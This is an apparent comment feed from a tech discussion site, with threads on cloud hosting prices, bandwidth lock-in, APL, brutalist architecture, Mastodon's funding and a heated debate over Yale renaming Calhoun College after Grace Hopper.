1. 13

      The article fails to account for reserved instance pricing, the sustained use discount, the free tier, and spot or pre-emptable instances.

      Pricing on AWS/GCP is complex, but you can save a lot of money if you’re careful.

      Though to be fair that complexity is one way they make money. You could save a lot of money, but it’s all too easy to overlook something.

      1. 21

        Hi, OP here.

        • I believe I am taking Google’s sustained use discount into account
        • I haven’t included the free tier because it is marginal and I think most organisations will exhaust it fairly quickly
        • I think spot and preemptable instances are not a general product but a specialist one: only some applications of virtual machines can tolerate getting evicted

        I do discuss the issue of complexity later on. I don’t think it normally works to the advantage of the customer.

        My intuition (and experience!) is that most real world AWS customers get bamboozled by the incredible complexity of pricing (especially when it’s presented in non-human readable units like “0.034773 per vCPU hour”) and wind up paying far, far over what the going rate of renting a computer should be.

        1. 5

          Hey OP, could you add Hetzner Cloud servers? Should be a whole lot cheaper than anything else you’ve got on there if I’m seeing this correctly.

          1. 2

            There’s also a built-in Terraform provider https://www.terraform.io/docs/providers/hcloud/index.html

            1. 2

              Agree, it seems to be 10 Euro/month for 8GB in the cloud plan.

              I’m running a root server with 32GB of memory and 2TB hard disk at Hetzner for ~30 Euro / month (from the Serverbörse). I do not know about their support at all, but I am quite sure that from a US IT company I could only expect automated mails, anyway. So Hetzner cannot be any worse there.

              Of course, root server and cloud hosting are two totally different beasts, but in my humble opinion it’s a choice the US-centric tech community too often does not even consider. The mantra is always the application has to be horizontally scalable.

              1. 1

                It should just be noted that Serverbörse is usually based on dekstop machines and the like, often older CPUs and servers, so you might not want to rely on that if your application stack is considered mission-critical.

                As for the cloud vs classic servers, it’s a different beast completely, yes. A lot of internet wouldn’t be alive if you had to pay a linux admin to configure your servers, deploy your apps and pay attention to traffic, script kiddies etc. But not having a lot of internet online could perhaps be considered a good thing, eh?

            2. 5

              On preemptible/spot they both provide /liberal/ shutdown warnings, it is possible to run almost anything aside from long life connection hosts (e.g. websockets) or extremely stateful applications like databases. Use cases that don’t fit spot are approaching minority in 2020 with current infrastructure trends.

              Re: DigitalOcean, I did a migration a few years back where AWS came out vastly cheaper than the equivalent configuration on DO mostly due to AWS instance reservations, which are a trivial factor to plan for when you’re already planning a large migration.

              The one area I couldn’t possibly defend the cloud providers is bandwidth pricing. All other costs are a footnote compared to it for any account doing high traffic serving

              1. 10

                Not an expert on this, but while it seems it is possible to run lots of things on hosts that may shut themselves down automatically, actually doing so will cost you more developer and devops time instead of just paying a little more for hosting. It seems likely that this is time you want to spend anyway, as part of making an application more resilient against failure, but it still makes the situation yet more complicated, and complexity usually serves Amazon more than the customer. (And I have a hard time believing that databases are approaching a minority use case with current infrastructure trends. ;-)

                1. 3

                  Bandwidth pricing is the primary lock-in mechanism cloud providers have. It should be seen as anti-competitive.

                  1. 4

                    I don’t understand what you mean. Are you saying bandwidth costs of migrating data to another cloud would be prohibitive? Or something else?

                    1. 3

                      Personal example: I started to develop an application with AWS services (Lambda, SQS, EC2, S3). Later I changed it to an application for a “normal” server. I still wanted to store data to S3, but the cost to download it from there for analysis is just ridiculous. So the choice was to store to S3 and run on EC2 or not to store to S3. (I decided against S3).

                      1. 4

                        What I mean is that data transfers between services in the same cloud x region are much cheaper than data transfers between clouds. So it’s more expensive to store logs in AWS and analyze them with GCP, compared to just analyzing them in AWS. You can’t take advantage of the best tools in each cloud, but are forced to live in one cloud, creating a lock-in effect.

                        If there was a rule that bandwidth prices must be based on distance, not whether the endpoints are within the same cloud, we’d see more competition in cloud tools. Any startup could create a really good logs-analysis tool and be viable, for example. This rule runs into some legitimate issues though. For example, if a cloud provider has custom network hardware and fiber between their own data centers, the cost of moving data between their zones might be much cheaper than sending it over the public internet to another cloud provider. Moreover, many different cloud services are co-located in the same data center. So it’s much cheaper to analyze logs using a service that already exists where the data is than to ship it off to another cloud.

                        The problem is big cloud vendors have little incentive to let users take their data out to another cloud. It’s going to be a market where only a few big players have significant market share, at this rate.

                        1. 2

                          Okay I see what you’re saying now. And when bandwidth costs encourage using more services in one cloud, you become more entrenched and entangled to the services of that particular cloud, locking you in even more.

                          1. 1

                            I agree completely on the bandwidth pricing. At this point, I think this should be considered a common public infrastructure, like roads etc. Yes, I understand that there are costs to providing it all, that some companies have invested in infrastructure privately, all I’m saying is that the traffic should be “free” for the consumers (and even for the business sector that the article OP is mentioning, companies hosting wordpress or timesheet or some similar small apps like that without major engineering teams).

                      2. 2

                        Yep, it’s definitely true for existing apps. Converting a large stateful app to new world is a nightmare, but you get so many benefits, not least the problem of preemptibility and autoscaling are basically identical. The big Django app used to require 16 vCPUs to handle peak, so that’s how it was always deployed. Now it spends evenings and non-business days idling on a single t2.micro

                        In the case of a typical Django app though, if you’re already using RDS then the single most typical change is moving its media uploads to S3. It’s a 15 minute task to configure the plugin once you’ve got the hang of it, but yep, for a single dev making the transition for a single app, that probably just cost you a day

                      3. 3

                        The one area I couldn’t possibly defend the cloud providers is bandwidth pricing. All other costs are a footnote compared to it for any account doing high traffic serving

                        Thanks, I came here to say that. The article didn’t even factor in bandwidth/network costs, which matter for both EC2 and S3 (not as familiar with the other cloud providers).

                        1. 2

                          Anecdotally, from friends who work in the AWS machine: once you get to real (financial) scale with AWS - think “7 digits a month” or so - you’ll find Amazon is extremely happy to negotiate those costs.

                          Fiber ain’t free, but I wager that the profit margin is probably highest there.

                      4. 1

                        It is those weird units that prevents me as an individual developer from even considering them - when realistically it should be easy to understand the pricing on this sort of thing.

                    1. 1

                      This is a useful post for a simple explanation. But where did the idea that there had to be a thread come from?

                      To me, it was always possible that some operations might be using a thread but it doesn’t really matter to me at the end of the day.

                      1. 1

                        I understand C# and Javascripts use of await. But this seemed cryptic to me. Maybe because it is early in the morning.

                        1. 2

                          What a nightmare I would have using this. Special keyboards and all.

                          Interesting concepts though.

                          1. 7

                            Check out J: http://jsoftware.com/

                            Same creator, but uses standard keyboard characters only.

                            1. 7

                              You can get used to typing `i to get ⍳ very quickly.

                              The concepts are more than interesting; APL is profound in the way that Lisp and Forth are.

                              1. 3

                                Modern APL doesn’t actually require a special keyboard or character set. Check out “J”.

                                1. 4

                                  Actually, J and APL are different languages, see above. For modern APL development, one can try out Dyalog, or use gnu-apl-mode on Emacs to help typing the symbols.

                                2. 2

                                  Sounds like what you need is an autocomplete that turns ‘Logarithm’ into ⍟

                                1. 1
                                  The object may not have neither of the two fields.
                                  The object may have only field1, and not field2.
                                  Only if the object has field1, then it can have field2.
                                  

                                  It seems to me that the way these are worded is rather confusing. I can figure it out eventually going through each line, and the #2 creates a contradiction with #3. It seems to me that if #3 is true, then #2 cannot be true.

                                  1. 1

                                    It definitely could be more clearly worded. I think it’s saying:

                                    • Both fields are optional
                                    • field2 can only be supplied if field1 is supplied as well
                                    1. 1

                                      Thanks zzing and chenghiz for the kind suggestion! I’ll tune down the poetical approach to writing.

                                  1. 3

                                    Manager Conan in response to “what is best in life”:

                                    “To conquer your projects, too see the bugs driven down before you, and to hear the lamentations of the developers.”

                                    1. 3

                                      Brutalism as an architectonic style is disgusting and oppressive as shit (intentionally). I spent quite a bit of time in a brutalist building, I felt like shit. Like how did intentional hostility ever become a trend?

                                      1. 10

                                        While the term certainly originates from concrete, the author is not trying to advocate making websites out of concrete (figuratively). I think the main point can be seen in the paragraph mentioning Truth to Materials. That is, don’t try to hide what the structure is made out of - and in the case of a website it is a hypertext document.

                                        This website could be seen in that light. It is very minimally styled and operates exactly how the elements of the interface should (be expected to). The points of interaction are very clear.

                                        The styling doesn’t even have to be minimal, but there is certainly a minimalism implied.

                                        1. 9

                                          I respect your opinion, but I personally really enjoy brutalist architecture. I like the minimalism and utilitarian simplicity of the concrete exteriors, and I like how the style emphasizes the structure of the buildings.

                                          1. 2

                                            I think if you added a splash of color it would make the environment much more enjoyable while still embracing the pragmatism and the seriousness.

                                          2. 5

                                            It isn’t intentionally being oppressive or hostile. It represents pragmatism, modernity, and moral seriousness. However it doesn’t take a large logical jump to realize that pragmatism, modernity, and moral seriousness could feel oppressive. In the same way to the architects who designed brutalism, the indulgent designs of 1930’s-1940’s might feel like a spit in the face if you’re struggling to make ends meet. Neither were trying to hurt anyone, yet here we are.

                                            1. 3

                                              I consider the 1930s designs (as can be seen in shows such as Poirot) to be rather elegant styling. But I also see the pragmatism that was prompted with the war shortages.

                                              I am not a great fan of giant concrete structures that have no accommodation for natural lighting, but I also dislike the “glass monstrosities” that have been built after brutalist designs.

                                              I find myself respecting the exterior of some of the brick buildings of the 19th Century and possibly early 20th. Western University in London Canada has many buildings with that style.

                                              Some of the updates done to the Renaissance Center in Detroit have mitigated some of the problems with Brutalist - ironically with a lot of glass.

                                              1. 2

                                                This might be true of Brutalism specifically, but (at least some) modern (“Modern”, “Post-modern”, etc.) architecture is deliberately hostile.

                                              2. 3

                                                I found this article on that very topic pretty interesting.

                                                1. 2

                                                  In my home town, the public library and civic center (pool, gymnasium) are brutalist. It was really quite lovely. Especially the library was extremely cozy on the inside, with big open spaces with tables and little nooks with comfortable chairs.

                                                  1. 1

                                                    My pet theory is that brutalism is a style that looks good in black-and-white photographs at the extent of looking good in real life. So it was successful in a time period when architects were judged mainly on black-and-white photographs of their buildings.

                                                  1. 4

                                                    I can’t look at this teardown without hearing AvE in my head.

                                                    1. 3

                                                      I’ve just sent him the link. Let’s hope he decides to do a review of this magnificent example of overengineering.

                                                      1. 4

                                                        Don’t forget to put your ____ in a _____!

                                                        1. 2

                                                          Skookum as frig!

                                                          1. 1

                                                            Milled aluminum choochers!

                                                            1. 1

                                                              Same here! I can’t help but feel AvE would do a much better teardown, not only looking at what’s there right now, but considering what’s blatantly missing from this article; what can be improved in the future! If those are machined gears then there’s no reason they can’t cut cost by sintering. The article says it’s so expensive to apply “thousands of pounds of pressure” completely ignoring that any home-gamer clamp can do the same.

                                                              It’s still an over engineered and expensive clamp, but I feel like the article is dishonest about where it is and where it can go.

                                                              1. 3

                                                                A lot of these “unnecessarily machined” parts look to me like they were designed for casting but the tooling wasn’t ready for the scheduled first run (typical). They would be a lot cheaper in mass production.

                                                                The gears are OEM, they are not that expensive when you buy them by the thousand. You’d need to sell a lot of juicers to break even on sintering tooling for them (and machined gears are stronger), doesn’t make sense for a commodity part.

                                                                Overall I refuse to believe that the engineers who had enough skill and experience to design this and get it working are so blissfully unaware of production process costs. Simply doesn’t happen IRL.

                                                            1. 4

                                                              If it has no ads and no tracking, what is its sustainment model?

                                                              1. 12

                                                                Their “Third party links” section in their terms indicate that this instance might do advertising in the future. For now I believe it’s running of patreon money.

                                                                The question is also answered directly in their FAQ

                                                                How is Mastodon funded?

                                                                Development of Mastodon and hosting of mastodon.social is funded through my Patreon (also BTC/PayPal donations). Beyond that, I am not interested in VC funding, monetizing, advertising, or anything of that sort. I could offer setup/maintenance services on demand.

                                                                The software is free and open source and communities should host their own servers if they can, that way the costs are more or less distributed. Obviously it’d be hard for me to pay the bills if literally everyone decided to use the mastodon.social instance only.

                                                                1. 3

                                                                  That is quite a reasonable way of supporting something like that. I definitely missed it on their site.

                                                                2. 6

                                                                  Are those the only two options for something on the internet these days?

                                                                  1. 5

                                                                    apparently it’s either that or being a pushover ;)

                                                                    1. 4

                                                                      I certainly did not want to imply a false dichotomy. But when those things are not present, it is certainly warranted to ask what it is considering it is so prevalent. In some cases it could be just burning through VC money in an effort to raise user base and then a switch.

                                                                      1. 1

                                                                        Yeah, I agree - it’s an important and appropriate question for anything like this.

                                                                      2. 1

                                                                        No, but whoever’s hosting the servers is going to want their money.

                                                                    1. -5

                                                                      A lot of the founding fathers had slaves.

                                                                      How do you know whatever you do today that you consider ok/good won’t be considered vile 100 years from now?

                                                                      You can’t hedge against the ever changing vogue of social fashion.

                                                                      1. 38

                                                                        If you actually read the announcement, you’d have noticed that even in his own era, Calhoun was considered a firebrand for slavery in a way that made people uncomfortable. Further, the choice to name the college after him was specifically related to a vision of the ante-bellum south that is both ahistorical and deeply racist.

                                                                        It’s one thing to say, “Hey, they were a product of their time, but they did great things.” It’s an entirely different thing when that time is a product of your own actions.

                                                                        But let’s flip this around, because I think there’s something even more important in your post that deserves some comment:

                                                                        How do you know whatever you do today that you consider ok/good won’t be considered vile 100 years from now?

                                                                        It is my greatest hope that lots of things that are considered okay today are considered vile a hundred years from now. Why? Because that’s a sign we’re getting better. Humans, as a species, should always be pushing to make themselves better, not because there’s some evolutionary truth that needs to be upheld, or because some gods want us to, but because we can.

                                                                        So, yes, in 100 years, I hope that there are lots of things we do today that are considered vile, because our descendants will be wiser and smarter than we are. And I’d hope, if I’m being discussed at all by the future, that the worst they can say about me is, “He was a product of his time.” If I’m caring and humane, and working to foster the wisdom of the future, maybe they’ll say, “He was ahead of his time.”

                                                                        1. 13

                                                                          So, yes, in 100 years, I hope that there are lots of things we do today that are considered vile, because our descendants will be wiser and smarter than we are. And I’d hope, if I’m being discussed at all by the future, that the worst they can say about me is, “He was a product of his time.” If I’m caring and humane, and working to foster the wisdom of the future, maybe they’ll say, “He was ahead of his time.”

                                                                          Very eloquently put ?

                                                                          1. 3

                                                                            I am not in general a fan of the idea of changing the names of things, but I will say that I appreciate the level of care and principles under which they labored for this decision.

                                                                            1. 14

                                                                              I am in general a very big fan of changing the names of things as soon as it becomes evident that a thing could have a better name. It is part of my daily life when doing code refactoring and why shouldn’t we do it in the real world also?

                                                                              1. 3

                                                                                Changing names of buildings and changing code are fundamentally different. Code has a functional basis, while the names of buildings run much deeper. For example, some universities go back centuries - and if we reflect on their lives, they are definitely not perfect nor would those attitudes fit in today.

                                                                                1. 3

                                                                                  One thing you have to remember is that the names of these institutions get passed on in citations in formal works and for people’s reputations (eg resumes). You can change internal code all you want without consequences so long as it keeps doing whatever people expect or accept. The names of institutions still matter. If it’s technological, it’s more like changing an API of a widely deployed program that users assumed had backward compatibility. Most companies avoid that where possible due to the problems it causes.

                                                                                  So, I don’t think it’s the same as just changing code.

                                                                                  1. 3

                                                                                    I think we’ve stretched the software analogy beyond the breaking point here. API changes are problematic because software has no way to handle them. Humans, on the other hand, are autonomous thinking agents that are more than capable of dealing with name changes. Updating resumes is not difficult - people do it all the time when they get new jobs or when companies are purchased or change their names. Anybody with the incorrect name looking for more information will almost certainly know the new name within 5 minutes of searching the internet. Humans have been dealing with the changing names of buildings, streets, businesses, cities, and entire nations for much of our history. I find the idea that in our modern age of widespread information access, this process is somehow overly burdensome in this specific case, or in general to be less than credible.

                                                                                    1. 1

                                                                                      Humans, on the other hand, are autonomous thinking agents that are more than capable of dealing with name changes. Humans have been dealing with the changing names of buildings, streets, businesses, cities, and entire nations for much of our history.

                                                                                      A lot of folks have experience with users giving incorrect or malformed or misnamed addresses all the time, so…

                                                                                      1. 3

                                                                                        Oh, FFS. What do malformed addressed have to do with anything here? At worst someone has an outdated address, and the consequences of that are? What are you doing with the address? Mailing something? Do you think the postal office serving Yale, or post offices in general don’t know how to handle address changes? You think navigation service providers just throw their arms up and panic whenever something changes?

                                                                                  2. 3

                                                                                    I love that logic.

                                                                                    In code, we don’t need to keep reminders of our history of changes in the code itself- we have our SCM history for that.

                                                                                    In reality, we don’t need to keep reminders of our history of changes in the names of institutions, traditions, etc.- we have actual history for that.

                                                                                  3. 4

                                                                                    I was wondering why someone might not be a fan of the idea of changing names of things. Could this have to do with the dark side of renaming things a.k.a. introduction of euphemisms and Orwellian newspeak? Like calling the poor “economically challenged” or calling things that are plain wrong “alternative facts”?

                                                                                    1. 2

                                                                                      My concern is rooted in a number of movements to change various persons associated with the history of universities and colleges seemingly because when judged by out our modern standards they are found morally wanting.

                                                                                      Two examples that come to mind recently, first being an effort to change the name of Ryerson University because the namesake Egerton Ryerson was involved in the creation of the Residential School System in Canada - which is a rather large scandal / blackmark on the country. Second, the Rhodes must fall movement in South Africa. Rhodes being the namesake of the famous Rhodes Scholarship. The protest was initially about a statue, but moved on to the general university being his name, probably due to the Rhodes Trust funding its founding.

                                                                                      I don’t see any evidence of “newspeak” in this particular trend. Nor, do I know if they want to ignore history or not.

                                                                                      1. 3

                                                                                        What is wrong with movements to stop honoring people who did terrible things? I don’t get the objection.

                                                                                        1. 4

                                                                                          To sum it up: Nobody is perfect.

                                                                                          Especially in the light of history. Consider many of the famous Presidents of the United States had slaves, which is considered a very wicked thing to possess today, but was socially acceptable at the time.

                                                                                          Usually people are honoured in the first place because of perceived good deeds they do, so we should be incredibly cautious about an effort to undo those honours. What Yale did was definitely a good way of handling it.

                                                                                          Another aspect for consideration, many of the monopolists during the guilded age (~1890 - 1910) ended up donating significant money to things we see, and their names are not usually thought of in the way of the negative things they did to get that money.

                                                                                  4. 3

                                                                                    It is my greatest hope that lots of things that are considered okay today are considered vile a hundred years from now. Why? Because that’s a sign we’re getting better.

                                                                                    So if, say, homosexuality, secularism, and procedural equality are considered vile a hundred years from now, that’s a sign we’re getting better? Moral change does not imply or even strongly correlate with positive change (by whatever your metric for “positive” is). It might seem that way in the short term because people tend to agree with whatever change happens to be occurring during their youth.

                                                                                    1. 0

                                                                                      It might seem that way in the short term

                                                                                      We’re specifically talking short term- 100 years. Look at the arc of history for the past 100 years. Could it bend back on itself and we reverse the changes we’ve made? Certainly. Is it likely? Well, it’s more likely today than it was six months ago, but no- I don’t think it will.

                                                                                  5. 14

                                                                                    If you wanted to guess, you could look at what’s currently normal but frequently and loudly criticised - as slavery was.

                                                                                    1. 2

                                                                                      you could look at what’s currently normal but frequently and loudly criticised

                                                                                      Homosexuality? GMO foods?

                                                                                      I sure hope your heuristic isn’t accurate.

                                                                                      1. 1

                                                                                        Homosexuality? GMO foods?

                                                                                        Both possible - as is eating meat, failing to vote, or paying women less than men.

                                                                                    2. 13

                                                                                      So… in a 100 years when it turns out using Dvorak is evil, we change the names of the buildings of Dvorak users to people who stuck to QWERTY?

                                                                                      What’s the issue here? Yale didn’t want a building to be named after an ardent defender of slavery, who was a catalyst to the Civil War. So the name was changed, to someone they would rather have representing the values.

                                                                                      Do you think Germany should have kept the statues of the Reich in prominent display?

                                                                                      1. 12

                                                                                        You can’t hedge against the ever changing vogue of social fashion.

                                                                                        Are there any aspects of morality you wouldn’t consider social fashion?

                                                                                        1. -4

                                                                                          Presumably, you’d need something that has always been mocked or looked-down on by most civilizations.

                                                                                          Sadly, I think that list is probably limited to consumption of human waste and flatulence–everything else is up for grabs. Possibly being the recipient of penetrative acts when one is equipped to do the penetrating.

                                                                                          Harming kids? No, “disciplining” children has been around for a while. Rape? No. Murder? Most certainly not. Lying? Acceptable based on context, as in jokes, storytelling, or diplomacy. Adultery? Varies by culture. Having bastard children? Varies. Idleness? Varies.

                                                                                          I think perhaps theft, in cultures and times where personal property was recognized, is probably on the list of things that survive fashion. Then again, one can argue back and forth what constitutes theft and what agents (say, taxmen or divorcees) are allowed to take what they haven’t themselves acquired.

                                                                                          The best rule, given this, is to simply “do unto others as you would have others do unto you”–because anything more concrete is historically unsound.

                                                                                        2. 18

                                                                                          It’s alarming to me that you think anti-slavery is just a trend.

                                                                                          1. 3

                                                                                            Given the long history of mankind, current policies are a quite new thing.

                                                                                            1. 13

                                                                                              so is dentistry.

                                                                                              1. 13

                                                                                                Given the long history of Earth, humans are a quite new thing. This is an overly reductive argument.

                                                                                                1. 3

                                                                                                  Nice strawman. The point I was making is that it is a bit early to call something a trend when you take the long-term historical view–mankind has practiced slavery in one form or another for thousands of years in one form or another, across hundreds of cultures and civilizations.

                                                                                                  It is extremely arrogant and close-minded to naively assume that just because something has been happening a bit in the last century or two in some areas it isn’t practiced elsewhere.

                                                                                                  I’m not supporting slavery–I’m quite opposed to it in near any form, including things as near-unrelated as the “sharing economy”–but I simply cannot abide your lazy form of argument here.

                                                                                                  1. 5

                                                                                                    Are you trying to argue that because there is slavery in the Middle East, that the people there consider it acceptable? Even the title of the article calls it shameful. If you aren’t arguing that, then how does the fact that slavery still exists and people are still fighting it support your position at all?

                                                                                                    1. 5

                                                                                                      He didn’t at any point say that people there consider it acceptable, but obviously some do.

                                                                                                      The fact is that in the light of recorded history, slavery has been common in many if not most places. Weighing the last two hundred years against that does make it a very new policy. If our civilization continues, I would feel relatively confident in saying that chattel slavery will continue its decline.

                                                                                                      But if something befalls us that does not result in our extinction, to assume that slavery has no chance of coming back is naive.

                                                                                                    2. 3

                                                                                                      To add to your point, they still do practice slavery in all kinds of places today. It’s practiced in a form in America with indebted, wage slaves. Better slavery than prior practices for sure. Yet, theres millions of people whose class, location, and environment keep with minimal money or options available unless they somehow escape with a combination of hard work and non-guaranteed opportunities. There’s certainly not an abundance of business tycoons and politicians trying to make sure everyone has a chance at good income, social/economic mobility, etc. They want them to serve those that already have it for their whole lives with less in return every year.

                                                                                                      Fits with the bigger picture of control and exploitation you referred to.

                                                                                              2. 11

                                                                                                Being against slavery or even the fugititive slave act is an example of “the ever changing vogue of social fashion”? Goodness.

                                                                                                1. 6

                                                                                                  You clearly didn’t read the article. They dealt with your criticisms.

                                                                                                  You can’t hedge against the ever changing vogue of social fashion.

                                                                                                  Let’s assume you’re right (for the record, I disagree that being anti-slavery is, or should be, a “fashion”). So what? Is there any fundamental, universal reason that building names can’t change with the times? Stadiums are named after whichever company offered the most cash, and they change periodically. Bowl games and golf tournaments are the same. Calhoun is now unfashionable, so they renamed the building after someone more fashionable. In other news, kids these days wear weird clothes that will look silly in 20 years.

                                                                                                  1. 2

                                                                                                    It’s quite simple reason for a good name change. One person argued for and helped enable the restriction of human potential for unscientific reasons to cause massive harm for the gain of a few. The other person had foresight that a particular, clunky technology would have benefits to all kinds of people once it got better and if it was more accessible. She ignored the easy, fulfilling paths in career track to instead develop tools to empower more people to use computers. Her work got something started that turned into what powers much of the backbone of Fortune 500 and other megacorporations today. The tech expanded with others' work into better languages that were used for all kinds of great things.

                                                                                                    In an integrated world, we can choose which name to honor with our institutions raising the next generation of free people of many colors, genders, and so on. It’s an easy choice to see which person was doing the most good or the least harm in their career. With hindsight, we know one really pulled off their vision with great results. Grace Hopper is therefore a great name to honor for that.

                                                                                                    1. -3

                                                                                                      How do you know whatever you do today that you consider ok/good won’t be considered vile 100 years from now?

                                                                                                      Exactly! It’s my opinion that in most cases what we see as laudable or deplorable is nearly an accident of history–a few changes here or there and we’d be in quite the different place.

                                                                                                      That’s why I’m so persnickety whenever people pick some current trend and appeal based on mere pathos that “Oh hey the way we do <X> is clearly wrong and since it’s changing we’re making irrefutable progress!”–this tends to make people utterly surprised when the pendulum swings backwards, as it inevitably does.

                                                                                                      Some things that I think it would be possible to go back on, depending on backlash and a few policy decisions (note this is a fairly U.S.-centric list):

                                                                                                      • the entire open-source software movement
                                                                                                      • acceptance of nonstandard gender configurations as anything other than mental illness
                                                                                                      • firearms regulation
                                                                                                      • globalization of trade and policy harmonization
                                                                                                      • desirability of dense urbanization
                                                                                                      • desirability of nuclear power
                                                                                                      • acceptance of hate speech
                                                                                                      • access to abortion
                                                                                                      • indentured servitude
                                                                                                      • systematic discrimination/exploitation of non-citizens

                                                                                                      Anything on that list you can pick and, if you are intellectually honest, find sources to make a good-faith argument that the future policy positions should be different from what we have now. And if we can get that far, it doesn’t take that much more imagination to believe in a world where one or two “thought-leaders” backed up by an unfortunate law ruling and the roaring of the mob could effect a large chance in the mores.

                                                                                                      Quite regardless of how we might feel on any particular matter, we can never forget that in the future anything not backed up by solid reasoning and data may at best be considered a fashion of the times…and so, we musn’t fall into the lazy trap of “but but but history is on our side!”.

                                                                                                      EDIT: Folks, remember–“incorrect” is for factually incorrect statements, not mere “I don’t agree with what you said.” And if you do find an inaccuracy, write a reply in correction. Don’t fall prey to HN/Reddit-style culture. Don’t use it because you disagree with an opinion or a prediction.

                                                                                                      1. 10

                                                                                                        Exactly! It’s my opinion that in most cases what we see as laudable or deplorable is nearly an accident of history–a few changes here or there and we’d be in quite the different place.

                                                                                                        I didn’t downvote you on this one but if I were to do so, I would mark it off-topic. How does the transitory nature of morality have anything to do with Yale not wanting a building named after a white supremacist, today, in 2017? Maybe they’ll rename it Nathan Bedford Forrest College in 100 years, who knows!

                                                                                                        If anything, their actions fit perfectly with your attitude, unless you believe that there is something desperately important about keeping building names consistent over hundreds of years.

                                                                                                        1. 4

                                                                                                          The whole submission is off-topic from Lobsters; in contrast, my post here was expanding on a point by the person I was replying to.

                                                                                                        2. 7

                                                                                                          I cannot help but notice that slavery, the actual topic under discussion, did not make your list.

                                                                                                          What position are you actually taking here? You seem to be supporting the position that Yale should not have changed the name of the building, but you’ve made no argument as to why. You’ve simply made the observation that the generally accepted morals of society have changed and are likely change again. I cannot see how that is in any way a useful or relevant observation to deciding what ethical frameworks we should build into our current institutions, or to resolve disputes such as the one under discussion.

                                                                                                          Are you taking the position that any current ethical position is pointless because in the future people may not consider it valid? How would we govern ourselves under such a belief system?

                                                                                                          1. -2

                                                                                                            What position are you actually taking here?

                                                                                                            My position is that, because I agree with @LibterianLlama that anything we do may be subject to disdain or praise based on some vague future social trends, I think that we need to give data and complete reasoning behind any policy position we take. On a related note, I think that we need to be able to acknowledge that these ideas we despise aren’t some super abstract unquestionable evil things in most cases, because that tends to make us complacent in our positions (until somebody like Trump comes along and shatters our illusions about what is “common sense” and “well-settled”).

                                                                                                            Are you taking the position that any current ethical position is pointless because in the future people may not consider it valid?

                                                                                                            I take the position that any ethical position is weak if it falls back on “but but but <X> is clearly wrong and evil”, which is what most argumentation these days falls back on–well, that and insult. If we cannot imagine and acknowledge a state of affairs (present in history, multiple times) that runs counter to our preferences, we will be unable to continually prevent its resurgence.

                                                                                                            Taking the slavery example here, it was amazingly useful for accomplishing things like the Pyramids, clearing land and farming, and various other things. History shows a lot of things that were accomplished with slave labor–so the hand-wavey “but it’s obviously terrible (because we currently think it so)” fails with even slight reflection.

                                                                                                            A better argument would show that, in the time of slavery in the American colonies, there was active questioning of whether or not slavery exacerbated class differences (see also Franklin and others) and caused citizens to dismiss work at slaves work. A better argument would show that economies dependent on slave labor (or any system which reduces to slavery in practice) are universally surpassed by economies that use technology to overcome the inefficiencies that make slave labor attractive.

                                                                                                            Those styles of arguments above? They do not require somebody to have the same moral system that you do to acknowledge the numbers. They work even on people that are callous for anything but profit.

                                                                                                            How would we govern ourselves under such a belief system?

                                                                                                            I wouldn’t know, because I’m not advocating such a system.

                                                                                                            1. 11

                                                                                                              because… anything we do may be subject to disdain or praise based on some vague future social trends, I think that we need to give data and complete reasoning behind any policy position we take.

                                                                                                              In what way does the unknowable opinion of hypothetical future people have any bearing at all on the decisions and judgements we make now? The argument that fundamentally unknowable data should influence our current behavior is entirely unsound.

                                                                                                              Further, the topic under discussion is slavery. To claim that you are intelligent enough to be able to discuss “data and complete reasoning” to back up the position that “slavery is immoral” but that you are somehow simultaneously ignorant of the reasoning behind that very common view, despite living in a culture that generally sees freedom, dignity and independence as fundamental goods, and human suffering as a fundamental evil, is completely beyond the bounds of credulity.

                                                                                                              This is how human culture and communication works. There is a great wealth of shared context and knowledge that we all work from. I have a very difficult time seeing a demand that every subject of ethics be re-hashed from first principles whenever it comes up as anything other than an effort to hijack the conversation into a context in which you’re not actually required to take a position.

                                                                                                              Those styles of arguments above? They do not require somebody to have the same moral system that you do to acknowledge the numbers. They work even on people that are callous for anything but profit.

                                                                                                              We are not discussing hypothetical arguments with people who only believe in profit. No one here has taken that view, with the possible exception of yourself, in which case you should just come out and say it. The Lobsters community is having an actual conversation about he merits of removing the name of a long dead individual who promoted slavery as a fundamental good from a building. You cared enough about this to show up and start implying that someone was making unsound ethical arguments, and I am asking you what specifically you were referring to in the course of this specific conversation.

                                                                                                              1. 0

                                                                                                                The argument that fundamentally unknowable data should influence our current behavior is entirely unsound.

                                                                                                                You’re misreading me. The idea is that if we make policy decisions that aren’t going to be reversed on a whim by people in the future we need to appeal to something other than morals that may change. I can’t state that any more clearly–and you either believe that moral fashions change over time (because, historically, they do) or you don’t (because…this is some magical watershed moment in the history of humankind I guess?).

                                                                                                                despite living in a culture that generally sees freedom, dignity and independence as fundamental goods, and human suffering as a fundamental evil, is completely beyond the bounds of credulity.

                                                                                                                Every single one of those claims about the culture break down once you move from the general (read: abstract) to the practical case. Freedom is great, except when we disagree with people or they’re criminals. Dignity is great, except when we get a laugh on TV or Facebook for making fun of them. Independence is fine, but we keep choosing tech that makes us reliant on others (Gmail, Facebook, etc.) and making policies that prevent it (states aren’t allowed to break with laws or executive orders they disagree with). Suffering is evil, but we’ll keep Grandma on a ventillator until she’s completely dead to have a few more blighted days with her–and we’ll walk pass the homeless folks next to the hospital to go see her.

                                                                                                                I’m suggesting that those claims are bullshit, and that when the rubber meets the road we should instead rely on utilitarian arguments–or at least agree to understand those arguments when made by people with whom we disagree.

                                                                                                                The Lobsters community is having an actual conversation about he merits of removing the name of a long dead individual who promoted slavery as a fundamental good from a building.

                                                                                                                And in the subthread I replied to, we were dicussing (because it is intimately tied to the renaming) the impact of the observation that future generations don’t hold the same morals as their predecessors. It’s quite on topic, at least in the subthread.

                                                                                                                Also, again I'ld point out that the renaming of a building is such a dumb thing to have posted on here, because it sparks long philosophical and political threads like these that don’t actually impact how we do our work.

                                                                                                                1. 5

                                                                                                                  Actually, most people just thought, as I did, that is was great to see a computer science pioneer be honored and to have her name displace the name of a person who contributed so much to human suffering. However, some people apparently are sentimental about the good old days of slavery and Jim Crow and were offended.

                                                                                                                  1. 4

                                                                                                                    …And we’ve circled back to making decisions based on imaginary future people. The unknowable popular ethical frameworks of future generations have no relevance to our decisions today. Any argument to that end is unsound. Your position that current arguments should be based on utility because that will somehow be more appealing to future generations is ridiculous on it’s face. It relies on the assumption that future generations will value utility over altruism or other ethical frameworks (never mind the issues with what metric of utility you use). There is absolutely no basis for making the assumption that that will be true. Your argument can be inverted, trading altruism for utility, and it remains just as convincing, which is to say not at all. It’s an entirely hollow premise.

